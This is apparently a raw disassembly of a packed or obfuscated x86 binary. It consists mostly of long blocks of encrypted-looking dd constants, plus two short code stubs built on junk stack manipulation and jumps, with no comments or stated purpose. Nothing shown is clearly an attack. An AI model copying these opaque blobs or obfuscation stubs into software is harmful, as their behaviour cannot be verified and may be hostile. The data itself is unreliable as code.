		dd 31E8AF0Dh, 0CF5D362h, 0EC3C8CF6h, 2A948336h,	8548C33Eh
		dd 0A28007B5h, 12A5681Bh, 36B96579h, 0EEAA792Fh, 37FC1382h
		dd 12AC9BE7h, 750CDB56h, 0C2FA1125h, 0D299F772h, 0DDA4024Eh
		dd 3149F857h, 8A3DB4CDh, 0FA34h, 2AD27F00h, 30BE80DEh
		dd 37BD86E4h, 3BE18DEBh, 46CA91EFh, 0AEEF10FAh,	0AF0D59E7h
		dd 0B3115DE7h, 0BD1B67EDh, 0AF226EFAh, 42D66534h, 0A887F002h
		dd 9014DBC4h, 9523E644h, 18DB6549h, 0B87BD98Ch,	7ACA581Eh
		dd 0E97F3F2Eh, 1124F36Eh, 4EF60C67h, 0FECD48FEh, 0FC1A82C5h
		dd 0DE662F8Dh, 4B25DB2Bh, 27EA48FBh, 0F7C01E99h, 0B46ABA6Dh
		dd 0C88FED68h, 0BE39893Ch, 27D4CEFh, 0BC111F0h,	0E35EEAADh
		dd 7D9A9968h, 73C3F002h, 133B0ABDh, 0F4384EFAh,	95F3A648h
		dd 329043E9h, 6306E369h, 0AF35FECBh, 0E45CACFCh, 19DCE941h
		dd 1EE13F8Bh, 0D581DF92h, 0B33064C4h, 6DBD6F4Bh, 0AB8326BAh
		dd 0D3A25B1Eh, 0B8363660h, 115DADFDh, 0E6703896h, 0E0FD230h
		dd 5D036D50h, 0E8E9300Fh, 28685E21h, 70EB9EEEh,	15C86612h
		dd 1363F1B7h, 0D075Dh, 0BE230000h, 5A109E60h, 0CC95F36Eh
		dd 0DBAE9248h, 7DDB8E2Eh, 1D7B2EBAh, 0B816C957h, 55B366F0h
		dd 0F14F028Eh, 95F3A62Ah, 329043E9h, 0D230E369h, 7ECF8210h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 51243C89h, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 1B682434h, 8900004Ah, 0BA52242Ch
		dd 6D610A30h, 0E281DAF7h, 446F5D62h, 56DCCA81h,	0C28113B2h
		dd 4BB8A9D5h, 9718A8BEh, 5AD601A6h, 4EC81h, 24890000h
		dd 24048124h, 4, 8BB535Dh, 81000000h, 4576C7EBh, 81EB0145h
		dd 4576C7C3h, 5B338945h, 50242C8Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 5024348Bh, 405E089h, 83000000h, 48704C0h
		dd 1EE95C24h, 0EFFF955h, 0A1B9702Ah, 0C9222CF7h, 1C33D549h
		dd 0E26C3B8h, 0FFC50306h, 0B99F7E0h, 6FFC4200h,	36D96659h
		dd 5756FD12h, 8604EB4Ch, 0E920FBC6h, 4C0h, 0DB27C572h
		dd 0E12DBB7Dh, 0E632BA83h, 0E632DC88h, 0E733C188h, 0D49BDCFDh
		dd 0DEA60450h, 0E8AE0C58h, 0EDB00E5Ah, 25A0135Fh, 240E756h
		dd 0B59978F0h, 0D98C18DBh, 0E430B47Bh, 1CC2C386h, 0B8BC6FD0h
		dd 0F873EE3Eh, 0C800A29h, 4D0353F6h, 0EB793C9Ah, 8A18DA38h
		dd 62BC5FD7h, 0BC089457h, 0BE0A985Eh, 8E08043h,	0CF7919A7h
		dd 61F5BB19h, 146417B5h, 29EB49C4h, 0FFB57828h,	8FDFB119h
		dd 0C826D9h, 8C2FC376h,	0D36127B2h, 0DA662987h,	874EAC27h
		dd 0CC7443F9h, 9CF60C88h, 905221F9h, 0D093C41Dh, 6Ah, 8C18DBECh
		dd 96164E11h, 0A484DE41h, 0CB6C3BEEh, 93F60C5Ch, 6BF1BA18h
		dd 6B3812B5h, 93C369A9h, 1E9h, 19DB0500h, 782BD17Dh, 670F2EFDh
		dd 50F60Ch, 4FAD60B0h, 0EE4CFF8Dh, 71E99C42h, 894C74CEh
		dd 2FC0658Dh, 0EF28EB03h, 236A8B6h, 0DEA0FEB4h,	0E890450h
		dd 0C5BFC3Fh, 8D1BDDF6h, 60B08ADAh, 0FB894CAAh,	14DBCBAFh
		dd 0BD7FDD90h, 0AA56B42Fh, 0D99B4E04h, 0AD11C36h, 19DC3A86h
		dd 7D30B47Dh, 800CCF2Dh, 561F7D30h, 965FF7C0h, 0BB0B5B0Eh
		dd 0C5F5B808h, 0F479D09Ah, 0C50EC111h, 0C97B0822h, 993C3AEh
		dd 90h,	0B56E308Eh, 0CEB57E6h, 68B808F6h, 0CBAF65B5h, 966514DBh
		dd 0F60C67A7h, 0E7A568B8h, 199FAA63h, 2601363h,	711F4039h
		dd 54264368h, 7A01A5CEh, 90E03001h, 8CEA65DDh, 0E2853BC9h
		dd 2AB67D48h, 2BB980DEh, 0D06E1A78h, 1931D41Dh,	0C3EBD88Ah
		dd 601893h, 0DA9D0000h,	91785467h, 9F25EB3Fh, 0DBB5994Fh
		dd 33B98214h, 0CF820ED5h, 1E7C2F7Fh, 0B917CA58h, 5AB86BF1h
		dd 0E25A0D93h, 0BE8E73Fh, 9A69CD90h, 8949499Ch,	0CB1630D3h
		dd 50348004h, 0D9760BEh, 2D10DF5Ah, 32F60C67h, 7EDC92E2h
		dd 0AC7B2EBCh, 0F60C6784h, 8A1931D4h, 93C32EC8h, 108h
		dd 12DB2400h, 0C5940F8Ah, 0F60C6776h, 3EC289E7h, 278538EEh
		dd 9125D864h, 0C08954EEh, 0BD01F03Ch, 5F6130ABh, 8FC1390h
		dd 2C8A05B8h, 0D727DA64h, 742AB679h, 0BB75316h,	0E5EAE61h
		dd 13A164C2h, 4FA09160h, 13B6F00Bh, 5DEBAE3Bh, 56F0B311h
		dd 0FF4F0290h, 0DB9EFCAFh, 35D89A4Dh, 7F0DD01Dh, 56D19333h
		dd 261199CAh, 2D000001h, 79F4744Ah, 0F9C2541Bh,	2070C073h
		dd 0E020EF6Ah, 55FC1386h, 31F45205h, 36F957A3h,	0D699F7AAh
		dd 5AD5974Ah, 792D10DFh, 0EF49F00Bh, 0DC502231h, 0B66CBC96h
		dd 0EBAE3B13h, 4733B1EAh, 0F343F67Eh, 8770230h,	0ACC6CB8h
		dd 4A99CA59h, 27h, 0F98D4A66h, 683CAF7Eh, 3181F60Ch, 678CAF7Eh
		dd 8C2FF60Ch, 454196B2h, 6888FBCAh, 0A5F5F60Ch,	0AF0359h
		dd 4A1F0000h, 0AA79F474h, 0FC13883Ah, 22803383h, 9356D15Fh
		dd 0E9E588B2h, 96A5741Ah, 0C7F00B32h, 25712777h, 7E4D04C7h
		dd 0F00B32BFh, 850050A0h, 23B4D0C2h, 26ECAC08h,	4D9DEDA0h
		dd 2915E497h, 7FF00BBDh, 7BBA8904h, 0E4F00BB2h,	0E5733694h
		dd 27B28C2Fh, 118CD864h, 0B274C796h, 99E9F00Bh,	9ECAF4E3h
		dd 7503C523h, 179D64C2h, 0EC41464h, 5A0FC493h, 1464FA1Dh
		dd 0D90BD699h, 0F893524Ch, 6E318F42h, 8D12FE2h,	0AC73D184h
		dd 56F97528h, 0C86BFFFCh, 7CECD26Eh, 0A37D3201h, 0BA35FC13h
		dd 0B6C48EBh, 0FC515F0h, 8410D735h, 0E53181D1h,	0F4744A01h
		dd 0C2FFE79h, 51F60C67h, 1D04B01h, 0FC1A8F4Ch, 7CDA55A5h
		dd 0C77A30B6h, 0CE1AA669h, 6C1FAD70h, 0C75949Dh, 2DB3791Bh
		dd 0CA541C7Ah, 22FC9F17h, 54B22DA5h, 0FE4E018Bh, 408DA548h
		dd 45A3EF7Dh, 0C843F682h, 691CA26Ah, 59056319h,	0C96C00B3h
		dd 0D844771h, 29544AC4h, 9BC4A0Ch, 55B369B9h, 85879392h
		dd 35FB71C6h, 4A0C6AE5h, 0E2AB09BCh, 8540A5Ah, 0A659E7AAh
		dd 350h, 694D6C00h, 0DB8E2EDBh,	7B2EBA7Dh, 16C9571Dh, 0B366F0B8h
		dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h,	0CF8210D2h
		dd 5954517Eh, 4C181h, 0E9830000h, 240C8704h, 50F8685Ch
		dd 1C890000h, 60716824h, 3C890000h, 27976824h, 1C8B060Eh
		dd 4C48124h, 68000000h,	5A75h, 83242489h, 5F042404h, 242C8153h
		dd 5D773E60h, 8108478Fh, 3E600847h, 3C8B5D77h, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 241C8B5Ch, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFF95035h, 0C654BC72h
		dd 0EFE14682h, 0E2BD4B8h, 0FFC50306h, 35883FE0h, 0F112845Bh
		dd 0F691D474h, 0C12D1802h, 1F07163h, 68997568h,	0B32E5678h
		dd 3704EB54h, 0E903E37Dh, 55Bh,	0CB17B562h, 0D11DAB6Dh
		dd 0D622AA73h, 0D622CC78h, 0D723B178h, 0C48BCCEDh, 0CE96F440h
		dd 0D89EFC48h, 0DDA0FE4Ah, 1590034Fh, 24BF746h,	0A58968F0h
		dd 0D98C18DBh, 0E430B47Bh, 1C1FEE69h, 41F60C67h, 1ADD3BF1h
		dd 0BA7DDB8Eh, 686415BBh, 0A7D73BA0h, 811BEE6Ch, 0C43F8FDFh
		dd 9B29EB49h, 0C5869CCh, 25AB72F6h, 0A024ED4Bh,	89E79A50h
		dd 0E8639C7h, 26E9D36Bh, 56E2E491h, 112E9946h, 88F2F1B4h
		dd 0D09F9E6Dh, 70C0F60Ch, 490C6A20h, 96F46FBBh,	329046D4h
		dd 3C9AE66Ch, 0FA75F076h, 0CD0082Bh, 4F0555F6h,	0C5763E9Ch
		dd 0CD047F6h, 78C818F6h, 80B382FDh, 3CF60CD0h, 0CD0CE6Dh
		dd 653F8FF6h, 18AC5F15h, 0DE783F9Dh, 8A409016h,	0BC824FE7h
		dd 0C98CEA36h, 3EA59C8h, 6F4B73Dh, 5B1E7CF4h, 87027DCDh
		dd 0CCD85B8h, 0D48ADAF6h, 8548A621h, 0CE7241F7h, 9AF60CCDh
		dd 8E505FF7h, 0D693C3D8h, 7023B178h, 0D11726F5h, 0F848F60Ch
		dd 8E6FF2A8h, 0F4000000h, 0DCB81431h, 88D88B19h, 0A208E4C5h
		dd 0FDC3EADFh, 6117FDD1h, 8C18DB7Dh, 67290AD9h,	0E7AEF60Ch
		dd 8548A659h, 4AD699F7h, 3F17BA97h, 6777C695h, 98E8F60Ch
		dd 74CE7148h, 312894Ch,	16FB5045h, 0B366F0B8h, 4B0DAD63h
		dd 8B93C3E7h, 6, 63E9B210h, 60BEC9ADh, 0B5B0E98h, 0A735F755h
		dd 38D496F4h, 0DF2FE28Ch, 0D27EDC8Fh, 5E01792Ch, 0A937F9C4h
		dd 51E4B32Eh, 0EF60C67h, 41BC08BEh, 6C5F1B7Eh, 0C57B85F7h
		dd 0CC18A467h, 9860BEE8h, 550B5B0Eh, 0F1A430F7h, 9043D193h
		dd 2EE16F32h, 0C97C0AD0h, 5390AA4Dh, 8954EE91h,	65C33EC2h
		dd 0B53F08A2h, 0AF62B202h, 0FF5DA95Fh, 9FFDB03Ch, 529B4ED6h
		dd 560897AFh, 9E93C32Dh, 3BEE7840h, 0D88B31DDh,	0FF823888h
		dd 61h,	9014DB1Bh, 3B67FDDh, 0C670134h,	0BE0E5EF6h, 56F0930Bh
		dd 0F440C48Bh, 8E41CF96h, 67EDB513h, 5A753B1h, 0CC660952h
		dd 0C32D0DBFh, 5E4D93h,	0DB690000h, 9A159014h, 0C6768CBh
		dd 0AB7AF5F6h, 0F60C6788h, 7F3585D5h, 2AF351CCh, 0C991EFA2h
		dd 0F0409043h, 9016DC3Ah, 0C55D00DDh, 57A331F8h, 8B19DB73h
		dd 672709D8h, 9033F60Ch, 0E8B00EB6h, 471738EBh,	0A9F9764Fh
		dd 50F0A6F6h, 93C3638Eh, 0BCEh,	32F55300h, 45A3F3A6h, 5E42F87Ch
		dd 0D78A12DBh, 772AB679h, 0DBE640E3h, 4F3E8A12h, 0AF7EF96Fh
		dd 0FC139001h, 0F5530656h, 0FC5AA632h, 6D30AB39h, 155B8928h
		dd 7225DB21h, 0B7892A3h, 0EB49C4F0h, 7A419F25h,	3DF343F6h
		dd 7235809Ah, 8D2F8A73h, 55A5E25Fh, 5CE8AB09h, 0FC884BA9h
		dd 4AE48749h, 0F709F62h, 2ACD703Fh, 4292F00Bh, 4145877Fh
		dd 0DE6A2D8Bh, 0B3590563h, 0AEFAB000h, 0CAA94C0Eh, 14B8C99h
		dd 4AA80000h, 0AA79F474h, 0FC138676h, 5EBC6FBFh, 63C10D9Bh
		dd 1E9914A0h, 0B79EC4Fh, 6B2171F0h, 0DE975AB8h,	0B792C0Fh
		dd 72C190F0h, 0EBF00B79h, 7746C19Bh, 0F00B79C4h, 0A9F94999h
		dd 6938B32Eh, 0F00B79CAh, 0C1744393h, 9EF00B79h, 9B29F04Eh
		dd 0CD7032E5h, 17A56875h, 46F250CBh, 0EFA5F5A8h, 0CA4C8D4Fh
		dd 56CD99h, 4AE90000h, 0AF7EF98Dh, 0F60C683Ch, 33B982E0h
		dd 7843BD80h, 0A503618Eh, 75C59F55h, 5A40F3C2h,	0D87BF60Ch
		dd 4CF8567Eh, 0E99FEFA2h, 2EA9DDFAh, 0C556C5Fh,	0E6B530F6h
		dd 0F60C5A57h, 2802B808h, 4E118CD8h, 1256EA2Dh,	15F5B822h
		dd 0CDAF002Eh, 8EDF35EBh, 0FB000000h, 0B9960BEh, 63520858h
		dd 2013E25Bh, 3DF60C67h, 53229DEDh, 0FC138851h,	20E35EAEh
		dd 0AC634214h, 0F5A85EE3h, 773AD497h, 0EF4D99E9h, 54B52D2Ch
		dd 45F87C45h, 1F9232F5h, 29906E05h, 3181087Bh, 38B32EE1h
		dd 0B51CA69h, 804393F0h, 1558A30Fh, 30FFB590h, 0F00BC402h
		dd 5C69C164h, 44BF0B99h, 0E2981EE6h, 229DCBF3h,	1D386E53h
		dd 0C073C3FAh, 5E119F62h, 310F27CAh, 9160DB8Dh,	0FC13142Ch
		dd 0F7BA3585h, 6B2948EEh, 8FDB9127h, 7443BEABh,	0F60C67C1h
		dd 0A9984E9Eh, 9D85315h, 0FC1A94A4h, 8F0ABD0Dh,	32E56B31h
		dd 0BCE2CE2h, 10D3317Dh, 9356D184h, 0C3BE858Fh,	3D0C87C2h
		dd 0F0029EFEh, 8A590F5Fh, 0FDF74E7Bh, 1EAB8326h, 681CD5Bh
		dd 0A258E6A8h, 40F38144h, 0E59836E2h, 8538C487h, 58656427h
		dd 57CA9B2Ah, 300DC010h, 0A236B58Dh, 0D79A27FFh, 0DC9FFD49h
		dd 3479D50h, 63000000h,	2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh
		dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h
		dd 10D230E3h, 837ECF82h, 48904ECh, 5E08924h, 4,	8704E883h
		dd 525C2404h, 0C281E289h, 4, 4EA81h, 14870000h,	34895C24h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 0BE242C89h
		dd 555789Ch, 0B3EBB850h, 0C60100B8h, 44226858h,	24890000h
		dd 24048324h, 89505D04h, 458F50F0h, 34FF5808h, 0C4835D24h
		dd 2434FF04h, 4C4815Eh,	0E9000000h, 0FFF94AA5h,	0B8765952h
		dd 60E3166h, 0E0FFC503h, 677D2B61h, 56A58438h, 6B9B6180h
		dd 5DCBE45Dh, 225BD6E6h, 60E25F74h, 45AD04EBh, 0A7E93E56h
		dd 0E9000005h, 0F654A03Ch, 0FC5AA634h, 0FF5DA933h, 0FF5DA953h
		dd 7660AC38h, 0C74D1455h, 0CF551D7Bh, 0D15F2583h, 0D8642785h
		dd 0CF9E198Ch, 0F002556Ch, 0BE2E12F1h, 67C17443h, 2EFDF60Ch
		dd 0F60C670Fh, 0D6260050h, 46FFC220h, 0E19422E8h, 6773C291h
		dd 9CECF60Ch, 5B1E994Ch, 0A9950082h, 4BA95F3Ah,	2F158D84h
		dd 31527940h, 743795E1h, 14D735E8h, 975AD588h, 0BF8509D2h
		dd 0F14F0531h, 76EEA12Fh, 0AB6E7BD3h, 7D44A21Dh, 96F444F7h
		dd 469248CEh, 199422E8h, 0B369F3BBh, 0AF430967h, 5C0F5FEDh
		dd 3C3D36FEh, 0A7AC876Ch, 0B03E005Eh, 7619AD60h, 524B11DCh
		dd 0AADE30ADh, 2B15BD3Fh, 0A087DA60h, 0A62CF250h, 0B67DDB56h
		dd 7127772Ah, 7804C725h, 534AF6C5h, 7B1EF60Ch, 6312D4A3h
		dd 7B5293C3h, 6E000000h, 0D98C18DBh, 0C67290Ah,	0B89235F6h
		dd 0C32F29EBh, 16993h, 0DB850000h, 0A2916019h, 0BBF60C67h
		dd 580BB15Dh, 0B568B808h, 54079557h, 0AC8F5ED9h, 0B1F60C67h
		dd 2417E661h, 39F60C67h, 29D533E9h, 0E2AA0883h,	2312E15Ch
		dd 3CF60C67h, 0B8336ECh, 70693290h, 0A3809497h,	64176744h
		dd 63BB5E14h, 0A94E7639h, 2F728949h, 0CB591B79h, 0FAA6047Fh
		dd 7D409E54h, 479735E1h, 14DB17FBh, 67A79665h, 68B8F60Ch
		dd 45076518h, 3588C98Ch, 0C42EFEBBh, 0CEE46F5h,	185417F6h
		dd 86CF3763h, 0E699E939h, 1CA98124h, 883CF55h, 8A50E4AAh
		dd 98F6ACFCh, 369447D5h, 0EB34E76Dh, 0EFA1EE48h, 2F93C3CEh
		dd 0A8h, 9014DB4Bh, 18E762DDh, 0F60C6725h, 0E08CEA3Ah
		dd 612A883Eh, 4F9D60DBh, 0B492208h, 0F65407BDh,	94F2A533h
		dd 0CE9043D1h, 5CD4132Bh, 0D93761B9h, 86D68917h, 25D86628h
		dd 0FAC11FD5h, 51AF2A76h, 0F14F028Eh, 9C52A22Eh, 6EE9773Eh
		dd 5FBD4710h, 0B5B0E96h, 9844A255h, 2239FCCBh, 0D626F60Ch
		dd 0C1900B86h, 0F60C2272h, 32E59BEBh, 0C4EC46E9h, 71E81E01h
		dd 0D332DBDFh, 0B87437C9h, 0F4944AA4h, 93C34842h, 4F82h
		dd 14DB9E00h, 0B97FDD90h, 5DEDB02Bh, 0DD9BA816h, 9E6994Fh
		dd 3A01CC66h, 91EF6AB6h, 0A78B41CFh, 0B47D19DBh, 86D65C22h
		dd 803383D3h, 0C678FB1h, 0F8A854F6h, 0A0F0A331h, 783F9D50h
		dd 1ABD39ECh, 49ECC300h, 2EE0A2F1h, 12093C3h, 3C000000h
		dd 0D78A12DBh, 30FFB679h, 0F60C670Dh, 0FFB20252h, 0E692F06Bh
		dd 57EF9248h, 0EF3BC18Ah, 0C74D1674h, 0CC9C2211h, 903E8251h
		dd 0D727FC13h, 7503C624h, 5108CB29h, 0B4FB382h,	8C4EACF0h
		dd 0AB5EAEFEh, 0B4F5BDCh, 0C05AFDF0h, 0AF8E5DD8h, 0B0F00B4Fh
		dd 0B5409D60h, 9464EE53h, 2FBD80DEh, 36C285E3h,	0C8622583h
		dd 70237301h, 29D533AEh, 0CA80D083h, 0FFC20F27h, 0C3852571h
		dd 399CA51h, 14Dh, 0E6744A1Fh, 0CD48981Eh, 1386C2FEh, 30E333FCh
		dd 470E0FD2h, 27AD7519h, 0ADB63D64h, 4D008C4Fh,	361ADFDh
		dd 0A301B440h, 43A154E0h, 0E240F381h, 8FDF9220h, 0E7B66F31h
		dd 0F00B8D54h, 0B669B909h, 44839B3Eh, 0BD8C0782h, 0F00B8D7Eh
		dd 6F318FDFh, 0AE882BE1h, 88D46023h, 0CB1926E8h, 3F6699h
		dd 4A820000h, 9F0F868Dh, 0B651F448h, 50039158h,	6635B000h
		dd 0F60C0667h, 6D588D8h, 0F60C0937h, 0A558DEA4h, 42F57F47h
		dd 8645DD80h, 71CF670Ah, 0D6A52066h, 0F60C06D7h, 368CD828h
		dd 0ADh, 57FBBE52h, 7D0B26FAh, 645A49FFh, 0CABA8904h, 92FC1332h
		dd 0FDE2CACFh, 641A74DCh, 0DE802C8Ah, 605F682Bh, 69046198h
		dd 0B816C919h, 0BD1B67F5h, 40BB6EFAh, 5B47F6C5h, 5518F00Bh
		dd 172BD4E8h, 0D389D928h, 0BF83E04h, 4A470FF0h,	0DF5BE428h
		dd 9E51A1E6h, 3CEF7D40h, 0BC0921C4h, 3E1B6BF9h,	7336839Bh
		dd 14AA99E5h, 2A0AD954h, 92FA1DB8h, 0D4985417h,	0F63214B7h
		dd 5291427h, 43F949F6h,	0DB9E1969h, 2CDAA48Bh, 49FCB2D1h
		dd 0CB8E28EBh, 0A63AED3Dh, 0B10D2B03h, 46C13CB7h, 588C477h
		dd 934999F6h, 137670C4h, 519DEDFCh, 0F4744A6Dh,	998AAA79h
		dd 0B732FC1Ah, 25555E8h, 4BA0AF0h, 27B3672Ah, 45B181C2h
		dd 21E442F5h, 1F1EED68h, 40F00288h, 881221F0h, 0FB4BF002h
		dd 0E6B530ABh, 0F0028857h, 2336541Fh, 0AE45F1Eh, 5AB804BAh
		dd 87560997h, 286A8313h, 0E2EF47EAh, 0E745911Fh, 6AE59824h
		dd 4C1D20EFh, 0F242C85Ah, 8C42CC94h, 29DC822Eh,	8D58F295h
		dd 65C33ECAh, 126215A3h, 0EFB2105Ch, 4123E661h,	6ECD9C1Bh
		dd 0EFC85A62h, 5FBCDC9Fh, 7FD5883Eh, 25h, 7BBA8904h, 60C85AFAh
		dd 0D5D109Eh, 8513D533h, 7C3282D2h, 0BEFBBE98h,	0F64D91B9h
		dd 6013B965h, 1E0AC010h, 8E2EDB3Ah, 2EBA7DDBh, 0C9571D7Bh
		dd 66F0B816h, 28E55B3h,	0A62AF14Fh, 43E995F3h, 0E3693290h
		dd 8210D230h, 54517ECFh, 4C18159h, 83000000h, 0C8704E9h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	2F4Eh
		mov	[esp], edx
		push	60E320Eh
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, ebp
		push	esi
		mov	esi, eax
		mov	[edx+8], esi
		pop	esi
		pop	eax
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		db 0Fh,	5Dh, 0EBh
		dd 0A84574CCh, 0EA601B50h, 31B835B8h, 3060E37h,	0DFE0FFC5h
		dd 0D84C3BD2h, 5C6CDCAEh, 8D69AD9Dh, 0E389C8Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0DE97628h, 87000000h, 2E975656h, 0D2126155h,	43B1B73Bh
		dd 0A018D89h, 0BD8B0607h, 60713EDh, 14A585C7h, 62F00607h
		dd 0BD890000h, 60717B9h, 2FD585C7h, 607h, 0FFF50000h, 7214DB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 3672A082h, 0B4BE669Fh, 0EE851h, 57630000h
		dd 43DDB4ECh, 76A0668Fh, 0D58080E5h, 2433E881h,	0FF5A798Ah
		dd 71C1995h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 6146023Ch, 65858Bh, 6A0607h, 1B6995FFh
		dd 0C08B0607h, 4D61BEBh, 7ECC95C3h, 0BEA18EFEh,	0B58580D0h
		dd 8044A4EBh, 12C2CE9h,	46B41F2Eh, 8904EB33h, 0E942D80Bh
		dd 55Ah, 0B57F5A2h, 115DEBADh, 1662EAB3h, 16620CB8h, 1763F1B8h
		dd 4CB0C2Dh, 0ED63480h,	18DE3C88h, 1DE03E8Ah, 55D0438Fh
		dd 25FB786h, 0E5C9A8F0h, 0D98C18DBh, 0E430B47Bh, 3B0AC386h
		dd 0F60C67F8h, 0B63E0765h, 39E3A366h, 0E63E20B2h, 0D1A01B96h
		dd 0F60C1B62h, 42F5ABFBh, 0E09321E4h, 0A4EA265h, 0D79B9A69h
		dd 74C4F60Ch, 11F0C6B1h, 0CA8F342h, 0CC1C6CF6h,	68F6B816h
		dd 3DC78FEDh, 0D1843A8Ah, 0BD80DE59h, 762C7C2Fh, 0AB6E7BD3h
		dd 9844A21Dh, 3DF343F6h, 47CD93F1h, 49D79DFBh, 0E6703896h
		dd 8612D533h, 25B375D3h, 58F29572h, 0CA64079Bh,	5FAB39FFh
		dd 35C386E4h, 11D43282h, 0CA80D083h, 681BA96Ch,	0CA89799h
		dd 620C3F6h, 0C3FDB779h, 6AF793h, 0DB130000h, 5ED98C18h
		dd 672114E3h, 0EE3EF60Ch, 67C86938h, 0F194F60Ch, 2E884A59h
		dd 1C893C3h, 0E4000000h, 108B19DBh, 0B07D654Dh,	4BA7540h
		dd 0A331F351h, 541775F0h, 0FC515C8h, 0B46705B1h, 27FEC13Ch
		dd 96F270D6h, 0EF4E1D98h, 70F60CB6h, 6FC76A20h,	913BE745h
		dd 6D308EDEh, 9CB29DFh,	0ED12F7Bh, 6F22AC74h, 9F83CF1Fh
		dd 0B65BFBBEh, 8C3FCD8Fh, 247F793Ch, 6A318F45h,	13D533E6h
		dd 0E5AC0A85h, 854EAC5Fh, 0ACFC4CFFh, 0DE8143F6h, 20B27944h
		dd 76FCC25Eh, 702373C3h, 2684D020h, 0C422D563h,	60BE71FBh
		dd 0FC5A0D97h, 81F9AC3Ah, 0B77944DEh, 0D6267629h, 4350EA8Dh
		dd 93C3C791h, 2CF7BD9h,	0CC20033h, 0BD0D5DF6h, 9C00470Ah
		dd 0EE381C37h, 8C65E89Eh, 0EA000000h, 893CCA8Ch, 0DB9F8339h
		dd 0B7159014h, 63B366EEh, 0B222E5A0h, 0E99F906Bh, 850FD836h
		dd 24B274D2h, 0BA4C1371h, 661969F7h, 0D8172FD2h, 5865BD60h
		dd 8DEC9091h, 0EBAE3800h, 55A534E3h, 2BB97CDAh,	0C52E1B0h
		dd 0BB0BF60Ch, 945BB905h, 53FF5D10h, 32ADF6A9h,	0D08311D4h
		dd 0F27CA80h, 0C397CE80h, 3C0E93h, 0DB2A0000h, 7FDD9014h
		dd 1A782BB9h, 0BB19CC52h, 42BA6D0Fh, 6B48879Fh,	0E8466EC8h
		dd 34DA8622h, 9D02EE4h,	0DB4B2F7Bh, 9D88B19h, 0F60C6727h
		dd 0E9B69033h, 93C32F27h, 167h,	12DB8300h, 0B679D78Ah
		dd 40E3772Ah, 8A12DBE6h, 0F96F4F3Eh, 7140037Eh,	0CC581BEEh
		dd 6A06C919h, 1BEAA050h, 0FC13DC95h, 14A264C2h,	0BCE49C4h
		dd 64236374h, 64D7A629h, 10F00B30h, 94607037h, 2C7C5622h
		dd 0C610B369h, 0A35916ADh, 41CF92F0h, 561C7AF5h, 17CD1DD0h
		dd 995CF6B9h, 0B808580Bh, 2D053605h, 18DAF00Bh,	0DF2FB57Ch
		dd 7907CE2Ch, 511876C6h, 0F59810C3h, 46C19E5Dh,	2D39FCCBh
		dd 0D626F00Bh, 18A57D20h, 1D7BC755h, 0F553CE5Ah, 3DF0A632h
		dd 0DD901CDFh, 13DE781Bh, 0D878C450h, 99CA7916h, 0B03E005Eh
		dd 74F7ADFDh, 164h, 0F4744A90h,	8676AA79h, 6FBFFC13h, 0D9B5EBCh
		dd 0E6883492h, 0C386E430h, 61248235h, 34FA58D3h, 8345F8AEh
		dd 0B87B46E0h, 0D2A1721Eh, 0F00B7963h, 0A95CACFCh, 0AAFA824Bh
		dd 0AC6E0E5Ah, 0EC99CA4Ch, 73h,	1AFBBE08h, 8E186D4Dh, 9E3928DEh
		dd 2F9E6DE8h, 90F60CA2h, 9E67C540h, 19E86316h, 0F60CAD1Ah
		dd 45A3F343h, 8D40F682h, 67EDB412h, 0AD53E2B1h,	0C688F60Ch
		dd 61278538h, 0E98C20D3h, 0A5986751h, 0BAF60CADh, 239E1A6Ah
		dd 49663E60h, 0D1877AC1h, 9F38142Eh, 2E9D6CE7h,	8FF60CD1h
		dd 0BD9DF33Fh, 22000000h, 7847FCC4h, 0F60CDEC5h, 47FA4A9Ah
		dd 4A5D41F7h, 0AA79F474h, 0FC13883Ah, 0F5B83383h, 0C286708Bh
		dd 9F520807h, 0A6F27E41h, 7A06CD2Bh, 63C177C7h,	926114A0h
		dd 0F00B5EACh, 3C0BBA81h, 0F00B51F9h, 13C61666h, 0B366F2B5h
		dd 46088C55h, 753E8BA3h, 1FC29FEFh, 69F7BA07h, 0CA902E1Dh
		dd 0B530801Eh, 1D9619E6h, 4C1472FAh, 6975C897h,	9AEAF605h
		dd 0F747974Ah, 6A23E644h, 569989Bh, 1775C5F6h, 0C313C64Eh
		dd 892CC073h, 0FDA907B1h, 4BAA95Fh, 0BB26E964h,	1CA5BC01h
		dd 6534AF65h, 0FC138498h, 195C8D50h, 893CCA8Ch,	19777639h
		dd 33835D13h, 0CF6E3DB8h, 90F00B71h, 5A3E8A40h,	79F4744Ah
		dd 1AA0C5AAh, 2BDE2EFCh, 327E0ACDh, 0D08311D4h,	0ECA57501h
		dd 0F755D03Ch, 48EBA14Bh, 9420E3EEh, 9927EA48h,	32DC88E6h
		dd 0D15F217Fh, 6CFAC01Eh, 849E41B9h, 3610B347h,	105CE8ABh
		dd 5712D295h, 45127F45h, 6F6E318Fh, 0DAF262A3h,	2DE030BCh
		dd 3D7h, 694DF300h, 0DB8E2EDBh,	7B2EBA7Dh, 16C9571Dh, 0B366F0B8h
		dd 4F028E55h, 0F3A62AF1h, 9043E995h, 30E36932h,	0CF8210D2h
